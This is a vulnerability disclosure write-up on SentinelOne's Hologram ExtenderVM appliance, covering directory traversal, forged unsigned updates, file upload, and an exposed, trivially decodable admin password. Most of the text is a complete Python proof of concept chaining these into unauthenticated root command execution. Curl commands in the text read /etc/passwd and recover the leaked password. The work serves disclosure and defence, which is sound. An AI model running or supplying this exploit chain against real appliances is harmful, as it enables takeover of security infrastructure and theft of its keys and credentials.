Multiple Vulnerabilities in Hologram ExtenderVM leading to unauthenticted RCE
About Hologram ExtenderVM
Hologram ExtenderVM part of the Hologram On-Prem honeypot solution by SentinelOne, these appliances were initially developed by Attivo Networks before they got acquired. To my knowledge the entire solution is already End-of-Sale but still supported.
In a Hologram deployment the heavy lifting is done by the BotSink appliances, the purpose of the ExtenderVM is to provide additional network interfaces, traffic received by the ExtenderVM is tunneled towards the BotSink, where the actual honeypot is running. The ExtenderVM is running a web- and a console-interface for configuration.
Directory Traversal in download_file.php
The vulnerability that started this security research project was hard to miss: A button allowing you to generate a support file. When clicked to button leads to the following URL to download your file:
https://<IP>:8443/download_file.php?file=attivo_tech_support.enc&directory=/var/www/downloads/
This looks like a text book example of a directory traversal vulnerability. But manipulating the directory parameter will result in {“error”:“Unauthorized access”}. Good thing there is a second parameter we can manipulate:
curl 'https://<IP>:8443/download_file.php?file=../../../etc/passwd&directory=/var/www/downloads/' -H 'Cookie: PHPSESSID=pj3prvumg1nnnhhhg3llbcefu1' -k
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
...
Now let’s use our vulnerability to take a look at the source code. We do not know where the file is located, but this issue can be bypassed with /proc/self/cwd. As the name implies this folder links to our current working directory, allowing us to download the download_file.php file:
...
try {
...
if (isset($_GET['file']) && isset($_GET['directory'])) {
$isUnderUidata = strpos($_GET['directory'], "/var/www/downloads/");
$isRelativePathPresent = preg_match("/(\/\.\.\/)/", $_GET['directory']);
if ($isUnderUidata === false || $isRelativePathPresent) {
throw new Exception('Unauthorized access');
}
...
$filePath = $_GET['directory'] . $_GET['file'];
...
}
...
}
...
As we experienced there is actually a filter in place for the directory parameter, sadly this was not implemented for the file parameter which eventually just gets appended to the directory parameter.
Remote Code Execution via Forged Software Update
After looking through most of the obvious files, I started to browse the file system using virt-rescue, to look for interesting non-standard files. With this method I found the file processing the software updates under /var/attivo/upgrade.sh.
openssl smime -decrypt -in $filename -binary -inform DEM -inkey /etc/pki/tls/private/upgradePrivate.pem -out $zipfile >> $logfile 2>&1
...
unzip $zipfile -d /tmp/upgrade
...
runfile=`ls /tmp/upgrade/ | grep .run`
chmod 755 /tmp/upgrade/$runfile
/bin/bash /tmp/upgrade/$runfile --target /tmp/BotSinkImage/ >> $logfile
When taking closer look we can see, that the script first tries to decrypt the uploaded file, then unzips it and finally executes all extracted .run files. What it does not do is to check the signature on the encrypted file, this means as long as we use the private key on the appliance we are able to create valid updates:
# Extract public part
openssl pkey -in /etc/pki/tls/private/upgradePrivate.pem -pubout -out pubkey.pem
# Create a dummy self-signed certificate
openssl req -new -x509 -days 3650 \
-key /etc/pki/tls/private/upgradePrivate.pem \
-out upgrade-cert.pem \
-subj "/CN=BotSink Upgrade Key" \
-addext "keyUsage=keyEncipherment,dataEncipherment"
# Encrypt
openssl smime -encrypt -aes256 -binary \
-out malicious.enc -outform DER \
-in update.zip \
upgrade-cert.pem
Files uploaded this way get executed by the root user, leading to a full compromise of the system.
Remote Code Execution via Unrestricted File Upload
/var/www/htdocs/include/upload.php handles to logic for file uploads. Similar to the file download logic this file does not sufficiently filter out unintended upload locations, allowing us to upload a php-webshell. I will not go into further detail about this, since the exploit only leads to a shell as the lighttpd user, which makes this less interesting than the previous vulnerability.
Openly Accessible Webuser Credentials
Another interesting file is /var/www/htdocs/include/passwd.txt. This file contains the password for the webuser and can be accessed under https://:8443/include/passwd.txt without any authentication.
curl https://192.168.122.100:8443/include/passwd.txt -k
pNWRQZXJHhDR
As we can see the password is not in plain text, but it is not a hash either. With a little bit of deobfuscation we are able to restore the original password:
curl https://192.168.122.100:8443/include/passwd.txt -k -s | rev | base64 -d
D8G%vPEci
The password is “encrypted” by encoding it in base64 and reversing the string afterward. This allows any attacker to log into the web UI without knowing the password.
A PoC chaining these exploits
The discovered vulnerabilities can be chained as follows to achieve unauthenticated remote code execution under the root user:
By using the missing auth for the stored credentials, we are able to obtain a web session, this session can then be used to download the private key for firmware updates, the obtained key can be used to sign a malicious firmware update, which then can be used to compromise the host.
Here is a PoC in python chaining the vulnerabilities:
#!/usr/bin/env python3
import argparse
import logging
import subprocess
import requests
import urllib3
from bs4 import BeautifulSoup
# Suppress only InsecureRequestWarning for the demo usage
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# ---------------------------------------------------------------------------
# Logging configuration
# ---------------------------------------------------------------------------
logging.basicConfig(
level=logging.INFO,
format="[%(levelname)s] %(message)s",
)
logger = logging.getLogger(__name__)
# ---------------------------------------------------------------------------
# Helper functions
# ---------------------------------------------------------------------------
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Hologram Extender RCE"
)
parser.add_argument("address", help="Target host URL (e.g. https://192.168.122.100:8443)")
parser.add_argument("command", help="Command to run on the victim machine")
parser.add_argument("--timeout", default=5, type=float, help="HTTP request timeout")
return parser.parse_args()
def get_csrf_token(html: str) -> str | None:
"""Return CSRF token stored in a meta tag named "_csrf".
Returns None if the token cannot be found.
"""
soup = BeautifulSoup(html, "lxml")
meta = soup.find("meta", attrs={"name": "_csrf"})
return meta.get("content") if meta else None # type: ignore[return-value]
def cookie_from_response(resp: requests.Response) -> dict[str, str]:
"""Pull the first cookie out of Set‑Cookie header.
"""
set_cookie = resp.headers.get("Set-Cookie")
if not set_cookie:
raise RuntimeError("Missing Set-Cookie header")
name, value = set_cookie.split(";", 1)[0].split("=", 1)
return {name: value}
def assert_status(resp: requests.Response, expected: int = 200) -> None:
if resp.status_code != expected:
raise RuntimeError(
f"Unexpected status {resp.status_code} for {resp.url}. Body: {resp.text[:200]}"
)
# ---------------------------------------------------------------------------
# Attack stages
# ---------------------------------------------------------------------------
def fetch_password(session: requests.Session, address: str, timeout: float) -> str:
url = f"{address}/include/passwd.txt"
logger.info("Downloading password")
resp = session.get(url, timeout=timeout, verify=False)
assert_status(resp)
logger.info("Obtained password")
return resp.text
def login(session: requests.Session, address: str, passwd: str, timeout: float) -> dict[str, str]:
# Grab CSRF token and initial cookie
index_res = session.get(f"{address}/index.php", timeout=timeout, verify=False)
assert_status(index_res)
csrf = get_csrf_token(index_res.text)
if not csrf:
raise RuntimeError("CSRF token not found on index.php")
cookie = cookie_from_response(index_res)
payload = {"api": "login", "username": "admin", "password": passwd}
headers = {"X-Csrf-Token": csrf, "X-Requested-With": "XMLHttpRequest"}
login_res = session.post(
f"{address}/loginval.php",
data=payload,
headers=headers,
cookies=cookie,
timeout=timeout,
verify=False,
)
assert_status(login_res)
try:
data = login_res.json()
except ValueError:
raise RuntimeError("Login response is not JSON")
if not data.get("authStatus"):
raise RuntimeError("Login failed")
logger.info("Logged in")
return cookie_from_response(login_res)
def download_key(
session: requests.Session, address: str, cookie: dict[str, str], timeout: float
) -> str:
params = {
"file": "../../../../../etc/pki/tls/private/upgradePrivate.pem",
"directory": "/var/www/downloads/",
}
resp = session.get(
f"{address}/download_file.php",
params=params,
cookies=cookie,
timeout=timeout,
verify=False,
)
assert_status(resp)
key_path = "/tmp/upgradePrivate.pem"
with open(key_path, "w") as fp:
fp.write(resp.text)
logger.info("Saved key")
return key_path
def generate_cert(key_path: str) -> str:
cert_path = "/tmp/self-upgrade-cert.pem"
cmd = [
"openssl",
"req",
"-new",
"-x509",
"-days",
"3650",
"-key",
key_path,
"-out",
cert_path,
"-subj",
"/CN=upgrade-key",
"-addext",
"basicConstraints=CA:FALSE",
"-addext",
"keyUsage=keyEncipherment",
]
subprocess.run(cmd, check=True, text=True)
logger.info("Generated cert")
return cert_path
def build_payload(command: str, cert_path: str) -> str:
run_path = "/tmp/payload.run"
with open(run_path, "w") as fp:
fp.write("#!/bin/bash\n")
fp.write(command + "\n")
zip_path = "/tmp/payload.zip"
subprocess.run(["zip", "-j", zip_path, run_path], check=True, text=True)
logger.info("Built ZIP")
enc_path = "/tmp/payload.enc"
smime_cmd = [
"openssl",
"smime",
"-encrypt",
"-aes256",
"-binary",
"-out",
enc_path,
"-outform",
"DER",
"-in",
zip_path,
cert_path,
]
subprocess.run(smime_cmd, check=True, text=True)
logger.info("Encrypted ZIP")
return enc_path
def upload_payload(
session: requests.Session, address: str, cookie: dict[str, str], enc_path: str, timeout: float
) -> None:
url = f"{address}/include/upload.php?%20feature_upload=true&%20directory=/var/www/downloads/&%20filename=payload"
with open(enc_path, "rb") as fp:
files = {"file": ("payload.enc", fp, "application/octet-stream")}
resp = session.post(url, files=files, cookies=cookie, timeout=timeout, verify=False)
assert_status(resp)
logger.info("Uploaded payload")
def trigger_payload(
session: requests.Session, address: str, cookie: dict[str, str], timeout: float
) -> None:
main_res = session.get(
f"{address}/main.php", cookies=cookie, timeout=timeout, verify=False
)
assert_status(main_res)
csrf = get_csrf_token(main_res.text)
if not csrf:
raise RuntimeError("CSRF token on main.php missing")
data = {
"api": "deviceupgrade",
"data": "{\"filename\":\"/var/www/downloads/payload.enc\"}",
}
dispatch_url = f"{address}/dispatch.php"
resp = session.post(
dispatch_url,
data=data,
headers={"X-Csrf-Token": csrf},
cookies=cookie,
timeout=timeout,
verify=False,
)
assert_status(resp)
logger.info("Executed payload")
def cleanup() -> None:
subprocess.run(
"rm /tmp/payload.zip /tmp/payload.run /tmp/payload.enc /tmp/upgradePrivate.pem /tmp/self-upgrade-cert.pem",
shell=True,
check=True,
)
logger.info("Cleaned up temporary files")
# ---------------------------------------------------------------------------
# Main entry point
# ---------------------------------------------------------------------------
def main() -> None: # pragma: no cover
args = parse_args()
session = requests.Session()
passwd = fetch_password(session, args.address, args.timeout)
cookie = login(session, args.address, passwd, args.timeout)
key_path = download_key(session, args.address, cookie, args.timeout)
cert_path = generate_cert(key_path)
enc_path = build_payload(args.command, cert_path)
upload_payload(session, args.address, cookie, enc_path, args.timeout)
trigger_payload(session, args.address, cookie, args.timeout)
cleanup()
if __name__ == "__main__": # pragma: no cover
main()